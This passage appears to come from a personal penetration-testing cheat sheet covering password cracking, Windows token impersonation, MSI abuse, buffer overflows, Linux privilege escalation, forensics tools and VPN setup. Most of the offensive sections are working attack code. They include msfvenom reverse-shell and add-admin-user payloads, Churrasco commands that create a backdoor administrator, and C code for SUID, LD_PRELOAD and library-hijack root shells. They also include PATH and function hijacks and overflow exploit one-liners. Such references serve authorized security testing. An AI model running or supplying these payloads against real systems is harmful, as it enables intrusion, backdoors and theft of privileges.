    • Run john to see if it automatically recognizes the hash
  • Find the hashcat numeric ID for the hash type if not auto-recognized:
    hashcat -h | grep -i --color=always <type> | less -R
        
  • List all back-ends to use with -D / -d
    optirun --no-xorg -b none -- pvkrun hashcat -I
        
  • WARNING: The -O flag used for optimized kernels may not find the password if the salt contains emojis/non-ASCII characters
  • CUDA + OpenCL CPU
    # Use -a 1 with multiple dicts
    # Use -S to optimize small dictionaries
    # Use -r <rule> to apply rules
    # Other attacks in hashcat -h end
    vblank_mode=0 nice -10 optirun --no-xorg -b none -- pvkrun hashcat -D1,2 -d1,4 -a 0 -m <hash-id> -O -w 4 <hash-file> <wordlist>
    # -D 1 -> CPU  | -D 2 -> GPU
    # -d 1 -> CUDA | -d 4 -> OpenCL CPU
    # See above for issues with -O flag
        
  • CUDA + OpenCL GPU
    # Use -a 1 with multiple dicts
    # Use -r <rule> to apply rules
    # Other attacks in hashcat -h end
    vblank_mode=0 nice -10 optirun --no-xorg -b none -- pvkrun hashcat -D2 -d1,2 --force -a 0 -m <hash-id> -O -w 4 <hash-file> <wordlist>
    # -D 2 -> GPU
    # -d 1 -> CUDA | -d 2 -> OpenCL GPU
    # To use the unstable OpenCL GPU
    # it is required to use --force
    # See above for issues with -O flag
        
  • TODO - Use masks (best performance)
  • TODO - Create dictionary via rule/mask

Decode

References

  • Many Windows tools from aluigi

VNC

Permissions

Impersonation

Windows

Check Privileges

  • Check if the current user has impersonation permissions:
    whoami /priv
    :: Check the SeImpersonatePrivilege
    :: or SeAssignPrimaryTokenPrivilege
        
  • Service accounts usually have this ability

Juicy Potato

  • Impersonating with Juicy Potato:
    :: msfvenom <rev-shell>.exe
    JuicyPotato -l <non-used-port> -t * -p <rev-shell>.exe
        

Chimichurri - IIS 7/7.5

Churraskito - IIS 6

  • Use Churraskito (stdafx.h included):
    :: Spawn a reverse shell on IP:PORT
    churraskito <lhost> <lport>
        

Churrasco - Windows Server 2003 - IIS 6

  • Execute commands with Churrasco:
    :: Usage: churrasco -d "<cmd>"
    churrasco -d "cmd.exe"
    :: Running cmd.exe is not immediate
    :: + may overlap with non-SYSTEM cmd
    
    :: Add backdoor user
    churrasco -d "net user backup backup"
    churrasco -d "net localgroup administrators backup /add"
        

Installation

Windows - MSI

  • Check whether the current user can install MSI with elevated privileges:
    reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
    
    :: Or the machine in general
    reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
        
  • Create an evil MSI:
    # Shell
    msfvenom -p windows/shell_reverse_tcp LHOST=<local-ip> LPORT=<listening-port> EXITFUNC=thread -f msi -o shell.msi
    
    # New user
    msfvenom -p windows/adduser USER=backup PASS=backup -f msi -o user.msi
        
  • Execute it:
    msiexec /quiet /qn /i <file-path>.msi
        

Buffer Overflow

Security Features Meaning

ASLR

  • Base address randomization of loaded applications and libraries
  • Check:
    cat /proc/sys/kernel/randomize_va_space
    # 0 -> Disabled
    
    ldd <file>  # Run it multiple times
    # Libs in different address each time
        
  • Prevents return to libc
  • Bypass with bruteforce-return to libc or return to plt if PIE is disabled and system (or any other privesc function) is used by the binary

PIE / PIC

  • Position Independent Executable / Code
  • Does the same than ASLR but for the binaries address space when executed
  • Check with checksec
  • Prevents return to plt

Canaries

  • Bytes that, when overridden, terminate the program
  • Check with checksec
  • Bypass by leaking their address

DEP / NX

  • Data Execution Prevention / No eXecute
  • Prevent executing data (shellcode) from the memory (stack, heap, etc)
  • Check with checksec
  • Bypass with return to libc

RELRO

  • RELocation Read Only
  • Makes the relocation sections used to resolve dynamically loaded functions (GOT) read-only by resolving them at beginning of execution
  • Full RELRO prevents GOT override

Checksec

  • Site - check the properties of binaries:
    checksec --file=<file>
    # Multiple files:    --listfile=<list>
    # Running process:   --proc=<name>
    # Running proc libs: --proc-libs=<pid>
    # All running procs: --proc-all
        

Identify Badchars

Shell - Bash/Zsh

  • Chars generation:
    # All: 0102030405060708090a...
    seq 255 | xargs printf '%02x'
    
    # All but 01|0a: 0203040506070809...
    seq 255 | awk -v ORS= '($0=sprintf("%02x",$0))!~/01|0a/'
    
    # Feed all hex as input in bash/zsh
    printf $(seq 255 | xargs printf '\\x%02x')
    
    # Feed some hex as input in bash/zsh
    printf $(seq 255 | awk -v ORS= '($0=sprintf("\\x%02x",$0))!~/01|0a/')
        

exploit-bad-characters

  • Site - Python library to generate and filter bad chars

expdevBadChars

  • Site - good/bad buffer char comparer
    • Use px 255 @r:SP as “bad buffer”

Rizin

  • Reopen binary with all bytes as input:
    # Quotes may be necessary around $()
    ood $("!printf $(seq 255 | xargs printf '\\\\x%02x')")
        
  • Find bytes that made it to the stack:
    # Expected output: 01020304...ff
    px0 255 @r:SP
    # Some bytes may be slightly changed
    # Use expdevBadChars to locate them
        

Rizin

Resources

Troubleshoot

  • If the payload segfaults the binary it may be due to a misaligned stack:
    • Either use NOPs as padding (before and after the payload)
    • Or add a ret after the offset to IP and before the shellcode - Ref
  • If the BoF happens in a forked child and e dbg.follow.child=true or dpc pid don’t help, use the shell to attach:
    # Attach newest <bin> in debug mode
    # Continue proc + close fd afterwards
    o dbg://$(!pgrep -n <bin>); dc; o-*
    
    # Or the same from the shell
    rizin -c 'dc; o-*' -d $(pgrep -n <bin>)
        

Most useful commands

# Set analysis region
e analysis.in=io.maps  # All bin memory
e analysis.in=dbg.maps # All mapped memory
e analysis.in=range    # In addr range...
e analysis.from=<addr>
e analysis.to=<addr>

# Analysis
aa          # Almost-all analysis
aaa         # Deeper aa (non-experimental)
aac [len]   # Analyze func calls
aaf         # Analyze all functions
aan[gr]     # Autoname funcs: [g]o/no-[r]et
aad [len]   # Analyze data refs to code
aaF         # Apply signatures from sigdb
aao         # Analyze all objc references
aap         # Analyze func preludes
aas [len]   # Analyze symbols
aaS         # Analyze all sym. flags
aaT [len]   # Analyze code after trap-sleds
aar [len]   # Analyze xrefs in current sect
aav [sect]  # Find values in sect or map
af[r]       # Analyze funcs recursively
afa[l]      # Analyze func args in call
afva        # Local func variable/args...
afu <addr>  # Analyze func until addr
pdga        # Switch to rz-ghidra analyzer

# Files
o [<file>]   # List fds/open new file
oi[-] [file] # Ext fd info/close by idx
oo[+]        # Reopen file [in rw]
ood [args]   # Reopen in debug + args
oodf [file]  # Reopen debug + file
oodr [rzrun] # Reopen debug + rz-run
oC <len>     # New-fd memcpy len bytes
o-<fd>       # Close file by fd
o-*          # Close all fds
o-!          # Close all fds - selected
ox <f> <x>   # Exchange fds f and x
o <file> <addr> <mode>  # Map file
on <file> <addr>  # Map file no rz_bin
e cmd.open=<cmd>  # Run cmd after open

# File information
iI    # Magic, compiler, security...
ieee  # Entry and exitpoints - r2 only
is    # Symbols
ii    # Imports

# Strings in .data and the whole file
iz ~<grep-search>
izz  # Append a `q' for less verbosity

# Fast-search the output in HUD mode
izz ~{:... # {: -> Pretty format
# {: format is recommended for HUD as
# it seems to ignore unaligned text

# HUD mode
<arrows>  # Select a result
<Enter>   # Seek to address

# Grep rows and cols numbers
izz ~:<row-ini>..<row-end>[<col>]
izz ~<search-term>[<col-ini>-<col-end>]
izz ~<search-term>:<row>[<col1>,<col5>]
izz ~+..<search> # i-case + less pager

# Seek to..
s `ieq`     # Entrypoint (alt: entry0)
sa <align>  # Alignment
sf.         # Beginning of current func
sf [<func>] # Next/specific function
sr <reg>    # Register
shu         # Previous seek (undo)
shr         # Next seek (redo)

# Show current seek position 0 padded
spad

# Debug files/processes/threads...
o dbg://<f> # Debug file/pid in new-fd
dd [<file>] # Show/open file (?)
doo [args]  # Reopen file in debug mode
doof [file] # Reopen file in debug mode
dor [rzrun] # Set rz-run opts ',' sep
doc         # Close debug session
dd-<fd>     # Close file descriptor
dp [<pid>]  # Show pid+children of pid
dpl         # Show all attachable pids
dpa <pid>   # Attach (and select) pid
dp=<pid>    # Select pid
dpc[*]      # Select/Display forked pid
dpn         # Fork in a new process
dpk <p> [<s>] # Send signal <s> to <p>
dpt [<pid>] # Show threads of pid
dpt=<thrd>  # Attach to thread
dptn        # Clone in a new thread
e cmd.load=<cmd>  # Run cmd after load

# Debug step/continue...
dsp         # Step until program starts
ds [<num>]  # Step one/num instructions
dso [<num>] # Step over one/num instr
dss <num>   # Skip num instructions
dsu <addr>  # Step until address
dsi <cond>  # Step until condition
dsl [<num>] # Step one/num code lines
dsb         # Step back (tracing req)
dc [<pid>]  # Continue all/one pids
dcb         # Continue back (tracing)
dcu <multi> # Continue until addr/range
dcr         # Continue until return
dcc         # Continue until call
e cmd.prompt=sr PC  # Show PC on cmd prompt

# Breakpoints...
db <addr>    # Create one in address
dbH <addr>   # Create a hardware one
dbc <addr> <cmd> # Run command at brkp
dbn [<name>] # Show/name current breakp
db           # Show defined
dbs <addr>   # Toggle breakpoint
db-<addr>    # Remove breakpoint
drx-<num>    # Remove hardware breakp
dbts <addr>  # Toggle tracing
dbt          # Show backtraces
dt [<addr>]  # Show traces
dts+/-       # Start/Stop trace session
dtg          # Show trace graph
dtgi         # Interactive trace
dtsm         # List trace memory-map
e cmd.bp=<cmd>  # Run cmd on bp hit
e cmd.hitinfo=0 # Hide bp info when hit

# Registers...
dr=            # Show in columns
dr <reg>=<val> # Set value
dr?<reg>       # Show value: ? optional
dr??           # Show values + roles
drd            # Show modified only
dro            # Show previous values
drr            # Show refs: telescoping

# ESIL setup - Rizin also has the aez* cmds
aei             # Initialize ESIL VM
aeim [<addr>..] # Initialize ESIL VM stack
aeip            # Init ESIL VM IP to $$
aepc <addr>     # Change ESIL VM PC: Use $$
ar <reg> [=<v>] # Show/modify ESIL register

# In Panel View show ESIL registers content
e -> ar         # Use Tab to change panels
e -> pxr @ SP

# ESIL display info
e emu.str=true  # Display smart ESIL info
e asm.emu=true  # Display verbose ESIL info

# ESIL memory variables
e emu.write=true # Allows modifying memory
e esil.fillstack=<pat>     # Fill stack
e esil.stack.pattern=<pat> # with a pattern
e esil.romem=true   # Make ESIL mem RO
e esil.nonull=true  # Stop when null ptr rw

# ESIL analyze
aae             # ESIL analyze references
aaef            # aae in all functions

# ESIL step
aes             # ESIL step in
aeso            # ESIL step over
aesu <addr>     # ESIL step until
aesuo <optype>  # ESIL step until opcode_t
aesb            # ESIL step back: trace req

# ESIL trace
aets            # ESIL list traces
aets+           # ESIL new trace

# ESIL function
aef [<addr>]    # ESIL emulate function
aefa [<addr>]   # ESIL obtain func args

# Objects...
pf S @obj.<name>   # Show stored string
pf p @obj.<name>+8 # Show length 64bit

# Disassemble... all accept <num> instr
pds        # Call summary
pC         # Print in columns
pdf        # Print function
pdr        # Show recursive call graph
pdg        # Decompile with Ghidra
pdgd       # Disassemble with Sleigh

# Disassemble configuration options:
e ghidra.verbose=false # Reduce warnings
e asm.describe=true # Explain instruction
e asm.pseudo=true   # Show pseudo-assembly
e asm.decode=true   # Show code analysis

# 10 bytes before + 10 after: Noted-hex
pxc 20 @ $$ - 10

# 20 bytes with text convertion in ESP
pxz 20 @ esp

# Detailed hex + jump references notes
pxr

# Locate usage of addresses (use aa)
axt [<addr>]  # Refs to this address
axf [<addr>]  # Refs from this address
ax. [<addr>]  # Refs from/to this addr - r2
axff [<addr>] # Refs from this funct
axl ~...      # All references HUD mode
axg [<addr>]  # Current func call-graph
afl           # List analyzed functions
aflm ~..      # List recursive func calls
afi           # Verbose afl
afM           # Show functions map
afo           # Show function address
afx           # Show functions refs
afvx          # Show funcs vars refs
afvxv         # Funcs local vars refs
afv           # Show function variables
afvd          # Funcs vars/args value
afvr          # Reg-based args/locals
afvs          # Stack-based args/locals
afvb          # Base-pointer arg/locals
afv=          # Funcs vars/args drefs
afvf          # Show rel stackframe var
afbr          # Func exit instr addrs

# Rename
afvn <name> [<old>]   # Func arg/var
afvr <reg> <name> [t] # Reg local arg
afvs <del> <name> [t] # Stack local arg
afvb <del> <name> [t] # B-ptr local arg

# Show function parameters as arg[<n>]
e dbg.funcarg=true

# Memory maps
iSq     # Sections - iS= is prettier
iSS     # Mem segments
om      # om= is prettier - def IO map
im      # Predefined memory
dm      # List current pid mem map
dmm     # List modules/libraries in mem
dmh     # Show heap map
dmhg    # Show head graph
dmha    # Show all malloc state info
dmhbg   # Doubly-linked-list heap graph
dmi <lib/addr> [<sym>]  # Lib symbols
dmia <lib/addr>         # All lib info

# Run command on search hit
e cmd.hit=<cmd>

# Limit search results to 1
e search.maxhits=1

# Define memory location to search
e search.in=dbg.maps  # Mapped dbg memory
e search.in=raw       # All memory

# Gadget search (hex) in address range
/a jmp esp @( <addr-ini> <addr-end> )

# Or set default search ranges
e search.from=<addr>
e search.to=<addr>

# Fine-tune to mem types
e search.in=dbg.maps.rx

# Seek to the first search hit
s/

# Flagspace
fs search  # Select search flag space
f ~{:...   # All flags in space - HUD
fs *       # Select all flag spaces
fN         # Name of tag at point
ff [glob]  # Bytes to next/match flag
f+<name> <v> # Create/set flag value
fz[-][name]    # Show/New/Del flag zone
ft[-][tag] [val] # Show/New/Del tags

# Interactive option-setter view
Veq  # Press _ for HUD mode fast-set

# Find the meaning of an option in HUD
ell ~{:...  # {: -> Pretty format
# Remove {: to hide unaligned options
# Not possible to set values like this

# Follow forked children
e dbg.follow.child=true

# Stop execution when forked child ends
e dbg.forks=true

# Interrupt all threads if rizin stops
e dbg.threads=true

# Trace program and in a given range
e dbg.trace=true
e dbg.trace.inrange=true
dtc <from> <to>

# Don't interrupt before syscalls
e dbg.aftersyscall=false

# Run command when a syscall is hit
e cmd.onsyscall=<cmd>

# Disable ASLR (may require sudo)
e io.aslr=true

# Change endianness and architecture
e! cfg.bigendian   # e! Toggles boolean
e asm.arch=<arch>

# Changes will only be done in memory
e io.cache=true
e io.pcache=true

# Show all sub-configurations of key:
es io  # Display cache, pcache, aslr..

# Override memory with two Intel NOPs
wx 9090 @<location>  # wxs - seek after

# Assemble override
wa "mov eax, ...;nop" # Write instructions
# Use rz-asm "mov eax, ...;nop"

# Extend write
wen <n> @<location>   # Add <n> null bytes
wex <hex> @<location> # Add <hex> bytes

# Convert...
?x <str>   # String to hexpairs
?x- <hexp> # Hexpair to string
?vi <expr> # Expression to decimal
?= <expr>  # Expression to hex and dec
?X <expr>  # Expression to hex
?v <expr>  # Expression to 0x+hex
?x+ <expr> # ?v honoring endianness
?o <expr>  # Expression to octal
?b <expr>  # Expression to binary
? <expr>   # Expression to multi-format
?u <num>   # Number to human units
?p <vaddr>   # Virtual to Physical addr
?P <paddr>   # Physical to Virtual addr
?b64[-] <str> # String from/to base 64

# Generate...
?s <f> <t> <s> # Sequence: from-to-step
?r <f> <t>     # Random number in range

# Show...
?h <str>  # String hash
?l <str>  # String length
?a        # ASCII table

# Visual/Panels view options
e dbg.follow=true  # Follow IP on step
e dbg.slow=true    # Verbose dumps
e dbg.funcarg=true # Show func-call args

# Visual/Panels view commands
.    # Seek to PC or entrypoint
V    # Visual view (from prompt)
v    # Panels view (from prompt)
V    # Graph view (from visual/panels)
SPC  # Switch to Graph/Panels view
!    # Switch to Visual/Panels view
e    # Replace panel with command
p/n  # Previous/Next mode
_    # HUD view
\    # User-friendly view
d1   # Bit editor (from visual/panels)
m    # Un/Select menu
c    # Enable/disable cursor
b    # Toggle breakpoint at cursor
A    # Assemble+insert opcode at cursor
g    # Seek to offset
/    # Highlight
G    # Seek to highlight
n/N  # Seek to next/prev func/flag/hit
1-9  # Follow jmp/call shortcut id
u/U  # Undo/Redo seek
x    # Show x/refs from/to data/code
r    # Toggle call/jmp/lea hints
s/S  # Step in/over (debug)
:dc  # Debug continue
i    # Insert hex
&    # Toggle cache

Control Instr-Ptr/Program-Counter

  • Execute after: rizin <binary/pid>
    # Reopen (debug) with De Bruijn input
    ood $(?x- $(wopD* <len> ~[1])); dc
    
    # Find De Bruijn offset at point (IP)
    wopO `s`
    # Explicit EIP reg: wopO `dr eip`
    
    # Reopen (debug) to check the offset
    ood "$(?x- $(wopD* <offset> ~[1]))TEST"; dc; ?x- 0x$(?x+ $(dr PC))
    # TEST should appear; if TSET, try:
    e cfg.bigendian=1 # Change endianness
    e asm.arch=<arch> # See: e asm.arch=?
        
  • Or use rz-gg for IP/PC control:
    # Generate De Bruijn string pattern
    rz-gg -P <len> -r  # Hex: remove -r
    
    # Identify offset at address:
    rz-gg -q 0x<addr>
    # Example:
    rz-gg -q 0x$(rz-gg -P 100 | tail -c-9)
    # Output: 96 |though wrong endianness
        

Locate Jump / Gadget Address

# Set memory search location
e search.in=dbg.maps

# Limit search results to 1
e search.maxhits=1

# Assemble and search by opcode
/a jmp esp @( `dmm ~<bin>[0,1]` )

# Get address respecting endianness
?x+ hit0_0

# Find the De Bruijn offset until SP
wopO 0x`px0 4 @r:SP`

# Seek to first hit if necessary
s/

Memory Execution

  • Only possible if DEP/NX is disabled
  • Send, in the input string, the payload <IP-offset><SP-JMP><SP-offset><shcode>
  • Limit the shellcode to buffer sizes:
    # Make a simple exec first
    msfvenom -p linux/x86/exec CMD='whoami' EXITFUNC=thread -f c -b "\x<bchar1>\x<bchar2>"
    # rz-gg also has an exec shellcode
    # If only exec works, use a bash wrap
    # CMD='bash -c \"<cmd>\"', and base64
    # (without -w 0) for file transfers
    
    # Fallback to try reading a file
    msfvenom -p linux/x86/read_file PATH=/etc/passwd EXITFUNC=thread -f c -b "\x<bchar1>\x<bchar2>"
    # Write hex payload to file with pipe
    # | sed -n 's/";\?//gp' | tr -d '\n'
    # To use as: <bin> $(printf $(cat p))
    
    # Move to a reverse shell if it works
    msfvenom -p linux/x86/shell_reverse_tcp LHOST=<lip> LPORT=<lport> EXITFUNC=thread -f c -b "\x<bchars>"
    # Use the staged payload version if
    # the size surpasses the buffer limit
    linux/x86/shell/reverse_tcp
    # Try bind shell if it doesn't work
    
    # Fallback to socket-reuse payloads
    searchsploit -x 34060  # Or 47530
    # Maybe MS linux/x86/shell_find_port?
    
    # Encode custom payloads bchars:
    msfvenom -p generic/custom PAYLOADSTR="<payload>" EXITFUNC=thread -f c -b "\x<bchars>"
    # Or from file PAYLOADFILE=<file>
        
  • Socket-reuse tutorial

Return to libc

  • Only feasible if PIE is disabled
  • Locate libc address:
    # Interpreter should be: ld-linux.so
    readelf -l <file> | grep interpreter
    # man ldd -> search for Security
    
    # Find the address
    ldd <file> | grep libc
    
    # Perform relocations & check missing
    ldd -r <file> | grep libc
        
  • If ASLR is enabled, run ldd many times and note the number of altered bytes:
    # zsh - all possibilities for 3 bytes
    echo $[ 8 ** 3 ]
    # 512 -> 511 possibilities to fail
    
    # zsh - guesses to succeed worst case
    echo $[ 1 - (511.0/512) ** 3000 ]
        
  • Get the offsets of system, exit and sh:
    # system and exit
    readelf -s <libc.so.6> | grep " system@\| exit@"
    
    # /bin/sh
    strings -a -t x <libc.so.6> | grep "/bin/"
    # /bin/sh is just a string, you can
    # even provide it as input to the bin
        
  • Assemble the libc functions in rizin:
    # ?x+ outputs honoring the endianness
    ?x+ <libc-base> + <func-offset> | sed 's/../\\x&/g'
    # <func-offset>: system or exit or sh
    # Use any libc base if enabled ASLR
        
  • Check for badchars
  • TODO Find how to encode+decode system, exit and/or sh using rz-gg
  • Overflow:
    # bash/zsh - their printf convert hex
    <file> "$(printf "%<offset-to-ip>s<hex-system-exit-sh>\n")"
    # ^Uses space padding, alter if bchar
    
    # If bash/zsh are not available
    <file> "$(perl -e 'print "A"x<offset-to-ip>,"<hex-system-exit-sh>","\n"')"
    # perl is an openssl dependency
    
    # If print doesn't accept \x use:
    <file> "$(perl -e 'print "A"x<offset-to-ip>,(pack "H*","<hex-system-exit-sh-no-\x>"),"\n"')"
    # pack expects hex like: 434241 (CBA)
    
    # bash/zsh - ASLR enabled bruteforce
    i=0; pay="$(printf "%<offset-to-ip>s<hex-system-exit-sh>\n")"; until <file> "$pay"; do echo -e "\033[1A\033[2KTry $((++i))"; done
    # TODO - Find a way for parallelizing
        

Return to PLT

  • Requires that system is used in the binary
  • It is similar to return to libc - See
  • The only difference is that one needs to find the address of system in the binary address, which is the same on each execution (check the PLT with rz)
  • Maybe the location in the PLT?
    objdump -R <file> | grep -i libc
        

More Advanced Techniques

Binaries

Reading

grep

# Look for a string related to a search
grep --binary-files=text --context=100 '<search>' <bin>
# -a -> --binary-files=text
# --context/-C - Show <n> lines bef/aft

strings

# Show all strings in binary
strings <bin>

Tracing

strace

  • Trace system calls:
    strace <bin>
        

ltrace

  • Trace libraries and system calls:
    ltrace <bin>
    # Use -S for output similar to strace
        

Linux

Kernel Exploits

Dirty COW - CVE-2016-5195

Kernels Affected

  • Reference
  • Range: 2.6.22 < 4.8.3, 4.7.9, 4.4.26

Effect

  • Modify files with root privileges
  • From adding root users to create SUID files (by modifying existing)

Patched Old Kernels

KernelDistro
3.2.0-113.155Ubuntu 12.04 LTS
3.13.0-100.147Ubuntu 14.04 LTS
3.16.36-1+deb8u2Debian 8
4.4.0-45.66Ubuntu 16.04 LTS
4.8.0-26.28Ubuntu 16.10
3.10.0-327.36.3RHEL 7, CentOS 7
2.6.32-642.6.2RHEL 6, CentOS 6
2.6.18-416RHEL 5, CentOS 5
3.0.101-84.1SLES 11 SP4
3.12.60-52.57.1SLES 12 GA LTSS
3.12.62-60.64.8.2SLES 12 SP1

Working Exploits

ELF Vulnerabilities

Identification

  • Identify with checksec:
    find / \( -perm -4000 -o -perm -2000 \) -type f -exec /tmp/checksec --file={} \; 2>/dev/null | less -R -S
    # Use --listfile=<file> instead
    # --proc=<pid> and --proc-libs=<pid>
    # to analyze a running process or
    # --proc-all for all processes
        

RPATH

  • The ELFs shall have RW-RPATH
  • Identify the RPATH and the name of the libraries:
    readelf -d /usr/bin/sudo | grep "NEEDED\|RPATH"
    
    # Or
    strace /usr/bin/sudo 2>&1 | grep -i "open\|access\|no such file"
        
  • Check if the directory or existing-libraries are writable
  • Replace them (or create a new one) that spawns a shell with SUID

RUNPATH

  • The ELFs shall have RUNPATH
  • TODO regarding how to search it (try readelf -d)
  • Libraries under RUNPATH are searched after LD_LIBRARY_PATH, so this may allow the LD_PRELOAD trick to work

Stack Clash - CVE2017-1000379

  • The ELFs shall have PIC (use checksec)
  • The target ELFs shall be owned by root and have the SUID bit
  • Follow the instructions for compiling
  • Run the exploit:
    # It may "die" with some binaries
    ./pwn <os-num> <path-to-suid-pic-elf>
    # Try with those with longer paths
        
  • More info

Environment Tampering

Identification

  • Check calls made by the SUID:
    strings /usr/bin/sudo | less
    # Relative calls don't have a path
    # Absolute calls have a path
    
    # Also check
    ldd /usr/bin/sudo
        

Relative References

  • Tamper the PATH:
    export PATH=/tmp:$PATH
    
    # Create an evil executable with
    # the same name as the reference
    echo 'int main() { setgid(0); setuid(0); system("/bin/sh"); return 0; }' > /tmp/setresuid.c
    
    gcc /tmp/setresuid.c -o /tmp/setresuid
        
  • Execute the binary
  • Check that the permissions are preserved
    /bin/bash -p
        

Absolute References

  • Create a function:
    # It shall have the same name
    /usr/sbin/service() { cp /bin/bash /tmp && chmod +s /tmp/bash && /tmp/bash -p; }
    
    # Export the function
    export -f /usr/sbin/service
        
  • Execute the binary
  • Check that the permissions are preserved
    /bin/bash -p
        

SUID Creation

Set SUID bit

chmod a+s <file>

ELF

#include <stdlib.h>
#include <unistd.h>

int main() {
  setgid(0);
  setuid(0);
  setegid(0);
  seteuid(0);
  system("/bin/sh");
  // Use exec if system uses rshell
  // execv("/bin/sh", NULL);
  // execl("/bin/sh", NULL);
  // execlp("/bin/sh", NULL);
  // execle("/bin/sh", NULL, NULL);
  // execvp("/bin/sh", NULL);
  // execve("/bin/sh", NULL, NULL);
  // execvP("/bin/sh", NULL, NULL);
  return 0;
}
// gcc -o suid suid.c
// https://stackoverflow.com/a/20823413

SO Library

LD_PRELOAD

#include <stdlib.h>
#include <unistd.h>

// In old systems use:
// void _init() {

void __attribute__ ((constructor)) my_init() {
  unsetenv("LD_PRELOAD");
  setgid(0);
  setuid(0);
  setegid(0);
  seteuid(0);
  system("/bin/sh");
  // Use exec if system uses rshell
  // execv("/bin/sh", NULL);
  // execl("/bin/sh", NULL);
  // execlp("/bin/sh", NULL);
  // execle("/bin/sh", NULL, NULL);
  // execvp("/bin/sh", NULL);
  // execve("/bin/sh", NULL, NULL);
  // execvP("/bin/sh", NULL, NULL);
}
// gcc -shared -fPIC -o suid.so suid.c
// LD_PRELOAD=suid.so <binary>

Missing library

#include <stdlib.h>

// void _init() in old systems

static void inject() __attribute__((constructor));

void inject() {
    system("cp /bin/sh /tmp/sh && chmod a+s /tmp/sh && /tmp/sh -p");
    // See above for exec family
}
// gcc -shared -fPIC -o <lib>.so lib.c

Tool PrivEsc

GTFObins

  • Site - How to privesc with common tools

rvim

  • In addition to the gtfobins ways, you can use :diffpatch $(sh <&2 >&2) (play with double quotes) as reported here if vim was compiled without python nor lua support (maybe source also works)

Capabilities

Info

CAP_SETUID

Python

python -c 'import os; os.setuid(0); os.system("/bin/bash");'

Forensics

Windows

Registry Hives .dat files

  • Identify the content of a hive file with regipy:
    registry-parse-header <hive.dat>
        
  • Recover and diff the hive changes:
    # Add -s <secondary-log> if found
    registry-transaction-logs NTUSER.DAT -p NTUSER.DAT.LOG -o recovered_NTUSER.dat
    
    registry-diff NTUSER.DAT recovered_NTUSER.dat
        
  • Dump the hive as JSON and browse it:
    registry-dump NTUSER.DAT | jq -C . | less -R
        
  • Run plugins to extract information:
    # Modest plugins from regipy
    # List them: registry-plugins-list
    registry-plugins-run UsrClass.dat -o out.json
    
    # Massive amount from RegRipper
    rip -a -r <hive.dat> > output.txt
        
  • Flush transactional log with registryFlush
  • Automatically extract information from all hives and save it separately + flush transaction log:
    :: Place rip.exe in %TEMP%
    autoripy.exe %TEMP% -s C:\Windows\System32\config -m C:\Users -r %TEMP%\reports -c all --flush
        

Internet Explorer .dat files

  • Dump the content using pasco (also check the odessa version)
    pasco <file.dat>
    
    # Recursively show all in subfolders
    for f in **/*.dat; do echo; pasco "$f"; echo "----"; done
        

Emails

DBX

  • Extract all DBX files and recover its content:
    for f in *.dbx; do undbx --recover $f; done
        
  • Convert EML files to MBOX:
    # formail is contained in procmail
    for f in *.eml; do formail -b < $f > "${f%.*}".mbox; done
        
  • Open MBOX files in mutt:
    cat *.mbox > all.mbox
    mutt -f all.mbox
    # Remove duplicates by pressing:
    #   D
    #   ~=
    # View attachments with: v
    # Extract attachments with: s
    #
    # To render HTML check: Tool section
        

Linux

Steganography

Steghide

  • Site - Detect/Hide data:
    # Detect
    steghide info <file>
        

StegSolve

  • Site (bug) - Original - Image Analyzer:
    java -jar stegosolve.jar
    # -Dsun.java2d.uiScale=2.5 - HiDPI
    # -Dsun.java2d.dpiaware=false - HiDPI
    # GDK_SCALE=2 - HiDPI
        

Tricky Configuration

VPN

NordVPN

  • Debian - add repo and install
    wget 'https://repo.nordvpn.com/deb/nordvpn/debian/pool/main/nordvpn-release_1.0.0_all.deb'
    
    dpkg -i nordvpn-release_1.0.0_all.deb
    
    apt update
    
    apt install nordvpn
    # Review nordvpnd.socket and service
    
    # Consider installing wireguard-tools
    # for using nordlynx wg technology
    
    usermod -aG nordvpn $USER
    
    # Reload groups for terminal
    sudo -v && exec sudo -u $USER -i
        
  • Log in and whitelist
    # Continue from the sudo -u $USER -i
    
    # Consider using iptables-save here
    
    nordvpn login | awk '{print $NF}' | xargs firefox
    
    nordvpn account
    
    # Identify the networks to whitelist
    ip addr
    
    nordvpn whitelist add subnet <net>/<mask>
    
    # Only if wireguard-tools is installed
    nordvpn set technology nordlynx
    
    nordvpn set protocol <UDP/TCP>  # UDP
    
    nordvpn set autoconnect on <country> <city> # Specific servers is possible
    
    nordvpn connect [<country>] [<city>] #Tab
    
    nordvpn set killswitch on
    
    nordvpn status
        
  • Disconnect and recover internet
    nordvpn disconnect
    
    # Consider using iptables-restore here
    iptables -F
    
    systemctl stop nordvpn.s{ocket,ervice}
        

Bruteforce / Fuzzing Ranking

  • TLDR Linux - Theoretically & not-benchmarked:
    medusa > hydra <=> patator > wfuzz > ZAP Dirbuster > dirsearch > dirb >= gobuster* == ffuf* == feroxbuster
        
    • <=> In some cases patator is the best
      • If the server supports keep-alive
        • ~curl -H ‘Connection: keep-alive’~
      • And the medusa and hydra modules don’t reuse connections (like HTTP)
    • * Compile via gccgo for native threads
    • feroxbuster uses green threads
    • In Windows it is a different story
      • In a quick test patator vs wfuzz vs ffuf performed in MSYS-MinGW64 the result was:
        ffuf > wfuzz > patator
                    
        • Correspondingly ffuf was 2 times faster than wfuzz (3.5min vs 7min)
        • patator took 9min
      • This is due to the different implementation of fork, clone & pthread found in Windows, as well as the task/thread scheduler
  • The most performant tool should be medusa (fix) followed by hydra (ignoring protocol optimizations/features that might not be implemented in them)
  • These two tools are written in C, with the major difference being that medusa uses pthread vs fork in hydra
  • This is multithreading v multiprocessing
  • pthread uses less memory
  • fork takes advantage of multi-CPU/cores
  • For I/O bound operations use pthread
  • For high-level langs in a CPU-bound situation it might be better to use multiprocessing as multiprocessing scheduling is managed by the OS whereas multithreading might be managed by the library (or GIL), causing overhead - ref
  • patator uses multiprocessing vs multithreading used by wfuzz
  • wfuzz is prone to get killed by the OOMd
  • patator tries to reuse TCP connections for all modules and supports HTTP2
  • medusa and hydra only reuse connections in specific modules (not HTTP, even if medusa hardcodes keep-alive) - no HTTP2
  • Note that hydra could be slower than patator due to an unnecessary GET req
  • Regarding Python vs Go, it appears to be that some Python libraries might be more performant than goroutines
  • Note that compiling Go programs with gccgo may implement the goroutines as pthreads
  • According to this, patator outperforms all the other high-level parallel tools
    • But the article doesn’t say if coroutines have been placed in the same category as threads
    • And it doesn’t say if Wfuzz PyCurl is correctly linked

OWASP ZAP

Allow Weak SSL/TLS Algorithms

  • Either edit the java.security file
  • Or override it: /usr/local/bin/zaproxy
    #!/bin/bash
    
